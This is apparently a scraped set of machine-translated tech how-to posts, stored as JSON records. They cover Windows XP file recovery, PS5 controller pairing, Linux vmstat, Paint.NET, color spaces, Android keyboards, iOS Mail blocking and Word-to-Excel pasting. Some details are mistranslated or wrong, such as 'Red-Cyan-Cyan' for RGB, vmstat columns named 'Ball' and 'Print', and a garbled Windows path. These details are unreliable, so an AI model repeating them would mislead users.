enclosure, you could also put the hard drive in the other PC. If the computer with the missing password is a laptop, the instructions are similar, except you'll definitely need an external hard drive enclosure to connect a laptop hard drive to a desktop computer (and vice-versa).   Remove the hard drive from the Windows XP computer with the missing password. With the computer turned off and unplugged, open the case and disconnect the hard drive.\n  Put the hard drive into an external drive enclosure and connect it to the other PC. Alternatively you could open the second PC and install it.\n  Boot the second PC and log in with its Administrator account. Because you're logged in as an administrator and have the other hard drive connected to the computer, you now have access to everything on the other hard drive.\n  Copy any data you need from the Windows XP hard drive to the second PC. Press ⊞ Win+E to open the File Explorer. The second hard drive will show under 'Computer' or 'This PC,' depending on the version of Windows you are using. Double-click this drive and navigate to the user's files, which are located in C:WindowsDocuments and SettingsUser, where 'User' is the name of your user. Press ⊞ Win+E again to open a second instance of the File Explorer, which will make it simple to drag files from your user's directory to the second computer. You can drag the files anywhere, including a flash drive.   Put the drive back into the original computer. While you haven't recovered the password, you've copied the user's files so they haven't lost any data.\n  Marvin Fry Update 04 March 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqqVqb%2BqsdWeZKmZo6jEsL7DrGSipl2stq%2BwzrCqZrCg\n","link":"/post/how-to-retrieve-passwords-in-windows-xp/","section":"post","tags":null,"title":"How to Retrieve Passwords in Windows XP"},{"body":"How to connect a DualSense controller with a PS5 system When setting up your new PS5 for the first time, the first thing you have to do is pair it with the included DualSense controller.\nStep 1. Turn on the PS5 boot power button and connect the DualSense controller to the system via the supplied USB-C cable.\nStep 2. If the handle is off, press the PS button in the center. The led light bar on the handle will blink to indicate that the unit is turned on.\n  Step 3. Once the controller is active, you can disconnect the USB-C cable for use as a wireless connection.\n( Note: You will need to periodically charge the controller by connecting it to a PS5 system or a normal charger. The handle will charge while the PS5 is in sleep mode.)\nStep 4. If prompted, update the system software to make sure the DualSense controller is using the latest firmware update.\nOnce the controller has been paired with the system, you can turn on the PS5 by pressing the PS button on the controller. The led light bar will flash blue until the handle is connected to the system.\nHow to set up another DualSense controller over a wireless connection Once a controller has been connected to the PS5 system, more controllers can be set up via a wireless connection. The manufacturer allows users to synchronize up to 4 DualSense controllers at a time with a PS5 system.\nStep 5. Make sure the led light bar on the top of the handle does not turn on. If so, keep the PS button in the middle until the light goes out.\n  Step 6. Use the first connected controller to navigate to Settings .\n  Step 7. Click on Accessories .\n  Step 8. Select General .\n  Step 9. Click on Bluetooth Accessories.\n  Step 10. On the additional handle you want to connect, press and hold the Create button and the PS button at the same time.\n  Step 11. The name of the add-on handle you want to connect will appear in the Accessories Found section , just click on it.\n  Some fixes can not pair the controller with PS5 If you're having trouble pairing your DualSense controller with a PS5 system, here are some workarounds you can try:\nStep 1. Reset the controller.\nStep 2. Try using a different USB-C cable to connect the controller to the console system.\nStep 3. Update the system software. Navigate to Settings\u0026gt; System\u0026gt; System Software\u0026gt; System Software Update and Settings\u0026gt; Update System Software.\nIf the controller is completely unresponsive, visit the PlayStation Fix and Replace page to seek help.\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqupo7BusNSao6ydnqiybq%2FOp6urp5yhsrN51qKroWWgoa66v9Oaq6KnnmKC\n","link":"/post/how-to-sync-dualsense-controller-with-playstation-5/","section":"post","tags":null,"title":"How to sync Dualsense controller with PlayStation 5"},{"body":"Suppose your Linux or macOS computer is using virtual memory. Discover how it affects the system's physical memory usage, CPU and resource usage.\nLearn about the vmstat command in Linux What is virtual memory? Vmstat command Procs Memory Swap IO System CPU  \nUse a period of time Use the count value Change units Memory is active and inactive Fork Slabinfo display Displays event counters and memory statistics Show drive statistics Reads Writes IO  Show summary drive statistics Show partition statistics What is virtual memory? The computer is equipped with a finite amount of physical memory, called Random Access Memory (RAM). This RAM needs to be managed by the kernel, shared between the operating system and any running applications. If these combined needs require more memory than the physical installation in the computer, what can the kernel do?\nLinux and Unix-like operating systems like macOS can use the space on the hard drive to help them manage memory needs. A dedicated area for hard drive space called 'swap space', can be used as an extension of RAM. This is virtual memory.\nThe Linux kernel can write the contents of a memory block into this swap space and release that RAM to use for another process. Memory can be removed from the swap space and restored to RAM when necessary called paged out.\nOf course, access speed for paged out memory is slower than memory stored in RAM. And that is not the only tradeoff. While virtual memory provides Linux with a way to manage memory needs, the use of virtual memory will increase the burden on other parts of the computer.\nYour hard drive must read and write more. The kernel and CPU must do more when swap in (move data from swap space to main memory) and swap out (move main memory contents to disk swap, when space is available). main memory is full) memory, as well as keeping all disks spinning to meet the memory needs of many different processes.\nLinux provides a way for you to monitor all of these activities as vmstat commands, reporting virtual memory statistics.\nVmstat command If you type the vmstat command without parameters, it will show you a set of values. These values ​​are the average for each statistic, since the computer was last restarted. These figures are not current values.\nvmstat    A short value table is displayed.\n  There are Procs, Memory, Swap, IO, System and CPU columns. The last column (rightmost column) contains CPU-related data.\n  Below is a list of data items in each column.\nProcs r: Number of processes that can be run. These are processes that are already running or waiting for a new CPU cycle. b: Number of processes in continuous sleep state. In fact, these processes are not 'sleeping', but they are only blocking system calls (when the program calls a function or service that is in the kernel of the operating system) and cannot be interrupted until it executes. The current dynamic is completed. Typically, these processes occur when the device driver is waiting for some 'free' resources. Any disruption to these processes while in the queue is processed when the process continues to operate as usual. Memory swpd: Virtual memory capacity used. In other words, this is the amount of memory that has been swapped. free: Idle memory capacity (currently not in use). buff: The amount of memory used as a buffer. cache: The amount of memory used to cache. Swap si: The amount of virtual memory is swapped in from the swap space. so: The amount of virtual memory is swapped out into the swap space. IO Ball: Blocks received from a block device. The number of data blocks used to exchange virtual memory back to RAM. bo: Blocks sent to a block device. The number of data blocks used to exchange virtual memory out of RAM and into swap space. System Print: The number of interruptions per second, including the clock. cs: Number of context switches per second. The switch context is when the kernel changes from processing system mode to user mode processing. CPU These values ​​are all percentage of total CPU time.\nus: Time to run code is not kernel. sy: Runtime of kernel code. id: Idle time. wa: Time to wait for input or output. st: Time obtained from a virtual machine. This is the time a virtual machine must wait for the hypervisor to complete serving other virtual machines before it can go back and process the virtual machine. Use a period of time You can ask vmstat to provide regular updates for these metrics by using the delay value . The delay value is provided in seconds. To update statistics every 5 seconds, use the following command:\nvmstat 5    Every 5 seconds vmstat will add another row of data to the table. You need to press Ctrl + C to stop this.\n  Use the count value Using a delay value too low will put more pressure on the system. If you need to have quick updates to try to diagnose the problem, you should use the count value as well as the delay value .\nThe count value for vmstat indicates how many updates it needs to perform before exiting and returning you to the Command Prompt. If you do not provide the count value , vmstat will run until it is stopped by the Ctrl + C key combination.\nLet vmstat provide an update every 5 seconds, but in just 4 updates, use the following command:\nvmstat 5 4    After 4 updates, vmstat will stop.\n  Change units You can choose to display memory statistics and swap in kilobytes or megabytes using the -S (unit character) option. This option must be followed by one of the units k, K, m or M. They represent:\nk: 1000 bytes K: 1024 bytes m: 1000000 bytes M: 1048576 bytes To update memory statistics and swaps every 10 seconds, displayed in megabytes, use the following command:\nvmstat 10 -SM    Memory and swap statistics are currently displayed in megabytes. Note that the -S option does not affect IO block statistics . They are always displayed in blocks.\n  Memory is active and inactive If you use the -a (active) option, the cache and cache columns are replaced with 'inact' and 'active' columns . As you might have guessed, these columns show the amount of memory inactive and inactive.\nTo see these two columns instead of buff and cache columns , include the -a option , as shown:\nvmstat 5 -a -SM    'Inact' and 'active' columns are affected by the -S (unit character) option.\n  Fork Switch -f displays the number of fork that has occurred since the computer was started. (Fork is an activity where a process creates a copy of itself).\nIn other words, this indicates the number of tasks that were started (and most of them closed) since the system was started. Each process started from the command line will increase this number. Every time a task or process generates or duplicates a new task, this number will increase.\nvmstat -f    The display of fork does not update.\nSlabinfo display Kernel has its own memory management feature to manage the operating system and all applications.\nAs you can imagine, the kernel is allocating and releasing memory multiple times for many different types of data objects it must handle. To make this as effective as possible, it uses a system called slab. This is a form of cache record.\nMemory is allocated, used and no longer needed for a specific type of kernel data object, which can be reused for another data object of the same type without the need for memory to be released and allocated. again. Imagine that the slab has been pre-allocated and measures the RAM segments for the kernel's specific needs.\nTo see statistics for slab, use the -m (slab) option. You need to use sudo and will be prompted to enter a password. Since the output can be quite long, you should use the less option .\nsudo vmstat -m | less    The output has 5 columns, including:\nCache: The name of the cache. num: Number of objects currently active in this cache. total: The total number of objects available in this cache. size: Size of each object in the cache. pages: The total number of memory pages that have (at least) an object currently associated with this cache.   To exit less mode , press q .\nDisplays event counters and memory statistics To display a page of event counters and memory statistics, use the -s (stats) option. Note that, the letter s is lower\nvmstat -s    Although the statistics are reported in much the same way as the information generated by the default vmstat command, some of the data is divided in more detail.\nFor example, the default output combines both nice and non-nice user CPU time into the us column. The -s (stats) option lists these statistics separately.\n  Show drive statistics You can get a similar drive statistics list using the -d (disk) option.\nvmstat -d | less    For each drive, there are 3 columns displayed, which are Reads, Writes and IO.\n  \nIO is the rightmost column. Note that the sec column in IO is measured in seconds but time-based statistics in Reads and Writes columns are measured in milliseconds.\n  This is the meaning of the columns:\nReads total: The total number of read drives. merged: The total number of group readings. sectors: The total number of sectors read. ms: Total time in milliseconds used to read data from the drive. Writes total: The total number of drive writes. merged: The total number of records grouped. sectors: The total number of sectors recorded. ms = Total time, in milliseconds, was used to write data to the drive. IO cur: The number of reads or writes of the current drive. sec: Time in seconds for any reading or writing being performed. Show summary drive statistics To quickly display summary statistics for disk activity, use the -D (disk-sum) option. Note that the letter D is capitalized.\nvmstat -D    The number of drives may look unusually high. The computer used as an example in this article is running Ubuntu. With Ubuntu, every time you install a Snap application, a file system created with the squashfs pseudo-filesystem will be attached to the device / dev / loop.\nThe annoying thing is that these device items are counted as hard drive devices by many Linux commands and utilities.\n  Show partition statistics To see statistics related to a specific partition, use the -p (partition) option and provide the partition identifier as the command line parameter.\nHere we will look at the partition sda1. The first digit indicates that this is the first partition on the sda device , this is the main hard drive for this computer.\nvmstat -p sda1    The return information shows the total number of reads, writes the drive to and from that partition, as well as the number of sectors included in the read and write operations.\n  In-depth understanding of a problem is always encouraged. Sometimes you will try to solve the problem or not care about it anymore (because you just want to know how your computer works).\nThe vmstat command can give you a lot of useful information. Now, you know how to access this command and its meaning. You need to take some time to learn more and make some diagnoses, to really capture vmstat.\nGood luck!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZq2jmnq1tMRmraarpJbBbq%2FOpqSappRivK95y6KlrrA%3D\n","link":"/post/how-to-use-the-vmstat-command-on-linux/","section":"post","tags":null,"title":"How to use the vmstat command on Linux"},{"body":"The data that you have copied is stored in a special area of ​​the operating system called the clipboard. Like many other platforms, Chrome OS also has a clipboard manager.\nSo what is clipboard manager? Quite simply, without this, your computer will remember each copied item, then those items will be overwritten (replaced) with the next item you copied. The clipboard manager stores several copied items so you can go back, access, and use many of them at the same time. Therefore, if you know how to access and manage the clipboard, you can fully make the most of and promote the ability to copy - paste data.\nIn the case of a Chromebook, the clipboard manager saves the last 5 items you copied, including text, links, photos, and more. You can access anytime to view these 5 items and choose one to paste when needed.\nNote that the clipboard manager can be opened anywhere on your Chromebook. However, if you want to paste something, you'll have to be in a position where you can accept the content you paste. For example, when you want to paste a piece of text, you must be on a text field.\nNow, to access clipboard, just press Search / Launcher + v .\n  This will immediately bring up the clipboard manager on the screen. Select any item in the list to paste them.\n  To remove an item from the clipboard manager, simply hover over it - or press and hold - and click the ' X ' icon .\n  There are a few additional things to keep in mind. Clipboard manager access shortcuts will only work if the Search / Launcher key is set to default. For example, this feature won't work if you've turned the Search key to a Caps Lock button.\nAnother thing to note is that the clipboard is not kept forever. When you sign out or power off your Chromebook, the clipboard is also wiped clean.\nClipboard Chromebook ncG1vNJzZmismaXArq3KnmWcp51ktq%2B%2F06usnKyZpLu0ecWoqWaZk5iytL%2FIp55mm5invK6xwaimpKtdmLmqvMGomKucXaKur63Gnqk%3D\n","link":"/post/instructions-for-accessing-chromebook-s-clipboard-manager/","section":"post","tags":null,"title":"Instructions for accessing Chromebook's clipboard manager"},{"body":"If you are a Windows user who only needs to make small modifications to images and screenshots, Paint.NET is a great, lightweight and easy-to-use middleware platform for this purpose. I'll show you some of the most useful tweaks this tool allows you to make.\n1. Blurring sensitive information Sometimes, you need to block personal information in a photo before sharing it. You might need to send a screenshot of the website to tech support, but don't want your recipient to see the recovery code. Or maybe you want to share a picture of a funny letter you received, but don't want to reveal your address.\nIn these and similar situations, Paint.NET makes it easy to cleverly intercept sensitive information. To do this, first use one of the selection tools to highlight where you want the information to be blurred. The easiest way is to use Rectangle Select (you can open it through the toolbar or by pressing S ).\nAfter marking the area you want to block, go to the Effects section in the top toolbar. You have several different options for blurring the image, of which the two most common are Blur\u0026gt; Gaussian Blur and Distort\u0026gt; Pixelate .\n  Both options have a intensity slider that changes effects (from 0 to 100). The higher the intensity, the stronger the effect appears. You will have to adjust this value depending on what you want to blur or modify. Make sure to edit to a point where the original text cannot be read by anyone. When you're done, click OK.\n  Another handy way to use the blur function is to slightly blur everything except the focus of the image. To do this, select what you want to keep from being blurred, then press Ctrl + I or go to Edit\u0026gt; Invert Selection . This will select everything except for what you just highlight.\nNow use the blurring tool like above to give the rest of the image a slight blur effect. This is a handy way to get rid of insignificant information that doesn't need to be completely blocked.\n2. Resize the image Next time you need to resize images quickly, don't worry about manually grabbing and dragging a corner in MS Paint. Paint.NET makes it easy to resize images.\nAfter opening an image in Paint.NET, press Ctrl + R or go to Image\u0026gt; Resize . This will open a menu that allows you to resize the image in percent or absolute value.\n  If you are uploading an image to the web with a specific size limit, then resizing by pixel size is probably the easiest. Otherwise, using a raw percentage is a good way to reduce or increase the size without much fuss.\nIf you choose By absolute size , make sure you click the Maintain aspect ratio to keep the dimensions proportional to avoid distorting the image. You can also choose the Resampling method the software uses. In most cases leave this option at Best Quality unless you have a reason to use something else.\nWhile resizing is useful, keep in mind that enlarging the image digitally won't be perfect.\n3. Auto-Level and other picture adjustment features Even if you are not a professional photo editor, Paint.NET has a number of tools that allow you to edit your images. To access them, open an image and go to the Adjustments tab .\nThe most convenient is Auto-Level , which will automatically apply adjustments to make the photo look better (although results may vary). If you don't think the image looks good, try running this function to see if it looks better. For example, Auto-Level is useful when scanning old photos.\n  The Black and White, Sepia, and Invert Colors options are all one-click changeable. Use them for easy adjustments without having to install a separate tool or use an online editor.\nIf your skill is a bit more advanced, you can try individual adjustment options like Curves and Hue / Saturation . These options allow you to adjust the color balance, brightness and other aspects of the image. They can be hard to use well, but they give a lot of power if you get the hang of it.\n4. Handy photo effects If you need to edit images or apply artistic effects, Paint.NET includes some handy options in the toolbar for this. You will find most of them under Effects\u0026gt; Photo .\nRed Eye Removal allows you to fix this common problem by using any of Paint.NET's selection tools to select an object's eye. Glow can add fancy lighting effects to your next profile photo. Or try Vignette to add dark rounded borders around an image.\n  Similar to these, you will find a few interesting options under Effects\u0026gt; Artistic . Try Oil Painting to turn your painting into another kind of art or use Pencil Sketch to make it look like it was drawn by hand.\n  5. Work with layers to make editing easier If you've used only barebone image editors in the past, you'll really appreciate layers. This feature allows you to add new elements to the image without affecting what is above or below it.\nFor example, let's say you want to put a logo on the table in the image below. Instead of adding it to the same background layer and worrying about messing up the table's appearance, you can simply create a new layer for the logo (use the Layers box at the bottom right).\n  You can now crop, resize, and adjust the colors of the logo without affecting the background image. Press F4 to open the Layer Properties window , where you can adjust the layer opacity, blend it with other layers, or hide it completely.\nLayers are important whenever you work with multiple images in a file, so you should definitely add them to your workflow for better efficiency.\n  ncG1vNJzZmismaXArq3KnmWcp51kwbC8jG5koZ2cpbO2uIyem6Kso2LGsMGMnJinZZSkeqq6jKmYoqako7K1\n","link":"/post/top-5-helpful-edits-you-can-do-in-paint-net/","section":"post","tags":null,"title":"Top 5 helpful edits you can do in Paint.NET"},{"body":"A larger color space captures more colors. In this article, let's learn with TipsMake what is color space and how does it really affect?\nWhat is color space? There are countless ways you can mix colors together. For example, just add a little green somewhere, you get a new color. This is the best way to visualize the color space. Large color spaces have more color combinations than small color spaces.\n  Color spaces are named after their base color. So you get RGB (Red-Cyan-Cyan), sRGB, and CMYK (Cyan-Magenta-Yellow-Black) color spaces. If you look at the color chart above, the triangle represents the sRGB color space, the color space used on most cameras, computer monitors, and printers.\nYou'll also see how the sRGB color space fits into the total visible spectrum, which is the larger rounded triangle. Like said earlier, this larger space contains all the different possible combinations of blue and green, red and blue, green and red, or all three. Any color space fits into a larger map of different color combinations.\n  You may also have heard of a term called gamut. Gamut simply refers to color spaces.\nLarger color spaces In an effort to improve professional-grade image quality, companies have been working on printers, monitors, and cameras that can handle larger color spaces. Two of those spaces are the Adobe RGB and ProPhoto color spaces. If you look at the diagram below, you can see how they stack up against the standard RGB (sRGB) color space.\n  As you can see, they are clearly larger. They cover the entire sRGB space, not excluding any colors in that gamut.\nWhat is the use of shooting in RAW format? If you set the default format on your camera to JPEG for file processing, the camera is most likely using the sRGB color space. Some cameras allow you to capture JPEG Adobe RGB or ProPhoto RGB images, but you'll need to enter that setting manually. This makes it easier to print photos at the store.\nMost commercial printers use the sRGB color space. They can't even print photos directly from the memory card unless they're in this format. So if you want the convenience of printing directly from the card, use sRGB.\nIf you shoot in RAW, you can choose the color space you want to use later in post-processing (when you use Photoshop on a computer). This is the best possible choice for professional photographers, who have access to high-end monitors and printers that can actually do something with the additional color information. If this description works for you, you probably already know what a color space is and why it matters.\nWhy should you stick with sRGB for now? Unless you're a professional photographer working with very demanding clients, there's really no need to work in the larger color space.\nYou can't buy an affordable computer monitor or printer that works in the Adobe RGB or ProPhoto RGB color spaces. The industry standard is sRGB. Most people viewing your photos on the web won't be able to see all of those additional colors, even if you've taken every measure to distribute them.\nOf course, all of this is subject to change when there are some new product announcements, so you have to pay to stay up to date. If monitors operating in the Adobe RGB or ProPhoto RGB space become the norm, it would make sense to start taking pictures of those screens. For the time being, the world is still in the 'stone age' when it comes to colors, so stick with sRGB.\ncolor space ncG1vNJzZmismaXArq3KnmWcp51kxKmt02agrGWTpLmwvoysp5qblQ%3D%3D\n","link":"/post/what-is-color-space/","section":"post","tags":null,"title":"What is color space?"},{"body":"Now that there is a keyboard, the mouse can be washed and the laptop is dropped into the bathtub. This IT product line helps us feel secure to bring along the road without fear of rain. Waterproof keyboard\n  Source: Symcod\nCanadian Symcod has launched a waterproof SKM silicon keyboard. This type of keyboard is lighter than a normal keyboard, but it still keeps the structure hard so that users do not feel inconvenient to use it. The outer coating allows the user to wash the keyboard several times without fear of damage. SKM keyboard has 102 keys, connects via USB port and does not need to install drivers when using.\nClean mouse\n  Source: Belkin\nBelkin unveiled the mouse . clean. The difference of this device lies in its waterproof ability. This type of mouse is made of a special plastic that prevents water from penetrating the internal parts. When necessary, the user can bring 'em' mouse to 'scrub' under the faucet. Belkin equipment is sold for 30 USD and comes with a very elegant bag.\nLaptop knows . drink water\n  Source: Itechnews\nJapan's Panasonic has introduced two series of Y and W series laptops with the Core Duo T2300 technology. Particularly for Panasonic Y series, the weight of the machine is reduced to 1.5kg and especially the machine can withstand 100kg impact force as well as 'ignore' the impact of water. Panasonic has also introduced batteries for both models that allow up to 7 or 9 hours of usage. However, the hard drives of these new models are only 60GB and do not include Blu-Ray printing technology.\nSD memory card is waterproof\n  Source: pdalive\nBuffalo also developed a waterproof memory card product. It looks like a regular memory card, but Buffalo's products are not \"afraid\" of any impact of liquids.\nncG1vNJzZmismaXArq3KnmWcp51kxKK%2Fx2aroZ1dmLyuvNStnKtlkpqzsL7EZqysoZ6c\n","link":"/post/wash-the-computer-before-using/","section":"post","tags":null,"title":"'Wash' the computer before using"},{"body":"If you regularly use Android phones to work, compose email, chat on chat applications, a modern and convenient Android keyboard application will save you a lot of time and effort.\nFor that reason, today the article will introduce to you the Android keyboard applications that are best rated by users, so that you can choose a \"companion\" for your mobile phone.\nInstructions for connecting a USB keyboard to an Android phone 1. Laban Key\nEarlier this year Laban Key emerged as a strange phenomenon of the Vietnamese application village when it reached the top 1 on the Apple Store, very quickly after this wave spread to Google Play Store. It is not a game, but because of its convenient features, typing Vietnamese standard just quickly, Laban Key has created that feat. Laban Key has Vietnamese suggestions, many interfaces, supports many Vietnamese typing styles, . and understands Vietnamese people's habit of typing Vietnamese. We had an article analyzing the success and advantages of Laban Key, you can read about Laban Key before deciding whether to download or not. Why Laban Key can top the app download rankings on Apple Store\n  2. Go Keyboard\nIf you like customizable Android keyboards, with effects, animations, standalone, strange like no one, try Go Keyboard. Besides the ability to customize the interface, this keyboard application also allows you to install additional fonts from the outside to make your phone even more special.\nGo Keyboard supports Vietnamese quite well, with Vietnamese suggestions, in addition to writing words by clicking on each character, you can also draw and match characters to form words.\n   With over 4 million downloads on Google Play Store and over 3 million 5-star reviews are enough to tell the appeal of this Android keyboard application.\nWhen using you can catch ads, but the app also offers the feature to remove ads with a small amount.\n3. SwiftKey Keyboard\nAndroid Keyboard SwiftKey Keyboard uses artificial intelligence to learn user style, including frequently used emoticons, from which to put important words on top of suggestions, make self-correct mistakes more standard and more practical suggestions. SwiftKey Keyboard even has the ability to learn your own slang, nickname and abbreviations. The application also has many themes, colors, keyboard designs for you to choose, Vietnamese language support is quite good.\n  With over 2 million downloads on Google Play Store, SwiftKey Keyboard has also made a good mark on Android users.\n4. Gboard\nGboard is the Vietnamese typing application on Android from Google itself. Gboard has everything you need like speed, reliability, various input methods, suggestions, word prediction, quick capitalization, translation, . and good Vietnamese support. Users can enter data by sliding, typing or speaking. Especially Gboard has built-in Google search to find everything, share right from the keyboard without having to switch between applications.\n  This keyboard of Google also has built-in emoticons, GIF image search, multilingual input to help you switch the language when typing.\nIn addition, Gboard also has a lot of tricks to use such as gesture deletion, learning to improve the application every time you type, one-handed mode, theme, . If you love the Google applications you have Download Gboard on experience and explore gradually.\n5. Kika Keyboard\nIf you're addicted to using emoticons, animated GIFs, authentic Kika Keyboard is the keyboard application you should use. Kika Keyboard has thousands of emoticons, text fonts, funny GIFs, smileys, stickers that you often see on popular chat apps like Facebook, WhatsApp, Instagram, Yahoo, . Very Many keyboard themes, sounds, wallpapers and custom layouts for you to choose and customize the keyboard.\nIn addition, the basic keyboard features such as predicting words being typed, correcting spelling mistakes, suggesting emoji, GIFs, swiping to enter data in one-handed mode, selecting the thumbnail mode to easily enter The material also works very well.\n  All of these features have created a funny Kika Keyboard, making the typing of the keys become endless fun instead of regular and boring actions. More than 2 million downloads on Google Play Store have also proved the direction that Kika Keyboard is pursuing is right.\nIf you love youthful, active and fun, then Kika Keyboard should definitely be installed on your Android phone.\n6. Swiftmoji\nThis is SwiftKey's second keyboard on this list, but it can also be one of the best emoji keyboards on Android. Although unlike the main application, it provides predictive emoticons based on words (and context of words) when typing.\n  Although the application does not provide access to the same level of customization as with SwiftKey, you can choose the color or turn on Dark Mode at night.\n7. Minuum\nMinuum is a little different from the other keyboards in this list, it changes the multi-line layout into two lines and with the word prediction tool you don't need to press the right letter and still type the word.\nMinuum users can still use normal mode with full keyboard and number. You can also access different emoticons from both expanded and minimized modes and switching between modes is easy by dragging the keyboard up or down.\n  Although the initial use of this keyboard will be a bit strange, once you get used to it, you will find the typing speed much faster. The application provides support for a variety of languages, changing keyboard themes and an option to change many times a day automatically.\nThe application is not free, you are only allowed to use the free trial for 30 days, but if you want to continue using all the features of the application after that time it will need to pay $ 2.99.\n8. Chrooma\nChrooma is one of the lesser known keyboards on this list, but it is definitely one of the most customizable applications. But users will have to pay for each purchase in the app or choose to pay a one-time fee of $ 2.49 if they want to unlock all options.\n  Its free version also has pretty good features such as entering individual letters or using clawed inputs without changing any settings and from good predictions, though not always. perfect. It also supports emoji and simple night mode.\nIn addition, you can optionally install the application in the Settings menu such as switching between single-handed mode and simply swipe the keyboard in one direction or change the keyboard color without changing the theme.\n9. Tenor GIF Keyboard\nTenor GIF is probably one of the funniest keyboards on this list because (as the name implies) are all GIFs. However that doesn't make it special. What makes it unique is the ability to display GIFs quickly.\n  It does not provide a separate keyboard like other applications in the list. You can use any type of keyboard you like and Tenor GIF extends functionality by enabling searching and inserting GIFs by typing # and then the search terms. It also supports GIF search.\n10. Swype\nSwype is one of the first to launch a swipe of the keyboard to enter for Android. In general, it provides the same features as SoftKey. The app also uses artificial intelligence to learn your writing style and apply suggestions even to emoji. Very neat application interface.\n  There are many options such as an attractive \"thumb\" mode, creating space between the left and right half on the keyboard. In addition, it is great to manage multiple languages ​​and is one of the keyboards that users do not need to manually switch. Simply select the language you want to use in the text settings and predictions and special characters will automatically work with all languages. He is very intelligent.\n11. Fleksy\nFleksy allows you to write messages quickly. Forget the old and boring black and white keyboard! Please say hello to the color keyboard.\n  Fleksy, also allows sending emoticons, stickers and GIFs directly from the keyboard. You can also select predictive words when entering or customizing the size of the spacebar to suit individual needs. Finally, swipe to access various features like auto-correction.\nDon't know if the article misses any interesting Android keyboard app? Please tell Quantrmang.com by commenting below the article.\nExplore more:\nHow to fix errors do not type Vietnamese on Zalo Instructions for installing and using Laban Key on iPhone / iPad ncG1vNJzZmismaXArq3KnmWcp51kfnJ5wZ6qrWWRo7Gzu8idZKSdqZe8or7DZpipqKM%3D\n","link":"/post/11-best-android-keyboard-apps/","section":"post","tags":null,"title":"11 best Android keyboard apps"},{"body":"This product can use the latest Ivy Bridge processor, 2 to 8GB RAM with 15.6-inch 1080p screen.\n  Dell XPS 15 2012 can use Ivy Bridge chips. Photo: Notebookcheck.\nDell's unofficial blog page said the company is about to release XPS 15 in 2012. This product has the LX521X code and is an upgrade of XPS 15 2011 with the code name L502X .\nThe new Dell XPS 15 is expected to be equipped with the Ivy Bridge microprocessor, from the Core i5-3210 dual-core to the Core i7-3612QM quad core. These models can use discrete Nvidia GeForce graphics cards, which can be 6xxMs or 5xxMs series. Dell's new product can use a 1080p 15.6-inch screen. RAM capacity is from 2GB to 8GB. Users can choose to integrate Blu-ray drive, HDD / SSD 2.5 inch or mSATA SSD.\nAccording to Notebookcheck, the configuration information for the new Dell XPS 15 may not be accurate. The manufacturer does not give any information about the price or the official release date of the model above. As expected, XPS 15 2012 version will be launched in the next few months.\nncG1vNJzZmismaXArq3KnmWcp51ksaa4y2apnq6VlrmmsIytn55lqKXAbn2UZpqoppaetLa%2BwK2gqKZdnrtufo9qaWaulafAqrvN\n","link":"/post/dell-revealed-the-xps-15-configuration-in-2012-version/","section":"post","tags":null,"title":"Dell revealed the XPS 15 configuration in 2012 version"},{"body":"With the iOS 13 and iPadOS 13 updates, the Apple Mail app has a new Block Sender feature to automatically archive emails from specific senders. And this is how to use it.\nInstructions on how to manage email and mailboxes in the Mail app on iPhone / iPad How to prevent Apple Mail from automatically turning on when you open email on macOS How to add and delete Email accounts on Mac, iPhone and iPad How to block senders in Mail iOS 13 and iPadOS 13 extend the function of blocking contacts from the Messages and Phone apps to the Mail app.\nTo get started, open the Mail app and find the email from the sender you want to block. Then touch the avatar to open the sender information.\n  Now, touch their name in the From field.\n  This will open the sender's contact card. From here, touch Block This Contact .\n  From the notification that appears next, confirm the action by touching Block This Contact .\n  The sender will be blocked. You will not receive new email notifications, but messages will still show up in your inbox with an icon indicating that a contact has been blocked.\n  Block sender options So what if you do not want the sender's email to be blocked from being displayed in Inbox? You can do this thanks to an option in Settings to send that person's new email directly to the trash.\nTo enable this option, open the Settings application and select the Mail option. From here, touch Blocked Sender Options .\n  Now, select Move to Bin .\n  Any new emails from that person will be dumped directly into the trash.\n  How to manage and unblock senders of mail At any time, you can unblock senders so you can receive mail from them in your inbox. To do this, open the Settings app, tap on the Mail option, and then select Blocked .\n  From here, find the specific contact or email you blocked. Swipe to the left of the contact and touch Unblock to undo the changes.\n  iOS 13 has another handy feature to block spam calls. Using the Silence Unknown Callers feature you can automatically silence calls from someone who is not in your contacts.\nI wish you successful implementation!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpqcpLCsecyaoKWdoqh6qrqMppiipF2ku261z6Gmp51dnr2isA%3D%3D\n","link":"/post/how-to-block-mailers-in-mail-on-iphone-ipad/","section":"post","tags":null,"title":"How to block mailers in Mail on iPhone, iPad"},{"body":"When working with office tools like Word, Excel or online office services like Google Docs, there will be times when you need to copy data from one tool to another, such as copying data from Word. to Excel.\nWhen copying data from Word to Excel, we will need to preserve the font format, background color, content in the document, . without permission to make changes. In this case, users will proceed to paste data from Word to Excel in HTML format to preserve the format. The following article will show you how to copy data from Word to Excel in the same format.\nInstructions on how to copy charts from Excel to Word How to copy data from Excel to Word? How to convert Excel file to Google Sheets How to copy Word to Excel keeps the format Step 1:\nFirst, we will take the example with the data table on Word as shown below. The table is pre-formatted with fonts, and alternately colored each cell in Word.\nAfter you black out the entire cell then right-click and choose Copy .\n  Step 2:\nIn the Excel interface, click at the location where you want to insert Word content and select Paste Special .\n  \nStep 3:\nAppears the Paste Special dialog box. Here you select the Paste item and then select to HTML to keep the content format Word documents. Click OK to continue.\n  Step 4:\nYou wait a moment for Excel to enter Word content. Then all Word content has been copied to Excel. You can see that the font format has been preserved, the background color in each cell in the table on Word when it is Excel has not been changed.\nHowever, the table size from Word to Excel will not be preserved. Your next step is to adjust the data sheet size again.\n  So you can convert all content from Word to Excel to the same format as the font and color in each cell in the data table. A simple and easy to implement trick, but saves you time and work on Word and Excel.\nInstructions for copying Word tables to Excel I wish you all success!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpufpcZuw86rm2ackamubsDOZpyxm5WheqyxxKmqZp6fp7qiwNOipaA%3D\n","link":"/post/how-to-copy-word-data-to-excel-keeps-formatting/","section":"post","tags":null,"title":"How to copy Word data to Excel keeps formatting"},{"body":"TikTok does not support offline, which means you will not be able to watch the Videos again without an Internet connection. However, we still have a way to view them without network, you just need to download them and you're done. In this article, Software Tips will guide you how to download TikTok videos to your computer.\n  1. Use the Instant utility The Instant extension available on Chrome is one of the most useful. The utility can not only download videos from TikTok, but you can also download videos / photos from the Instagram platform.\nHomepage: 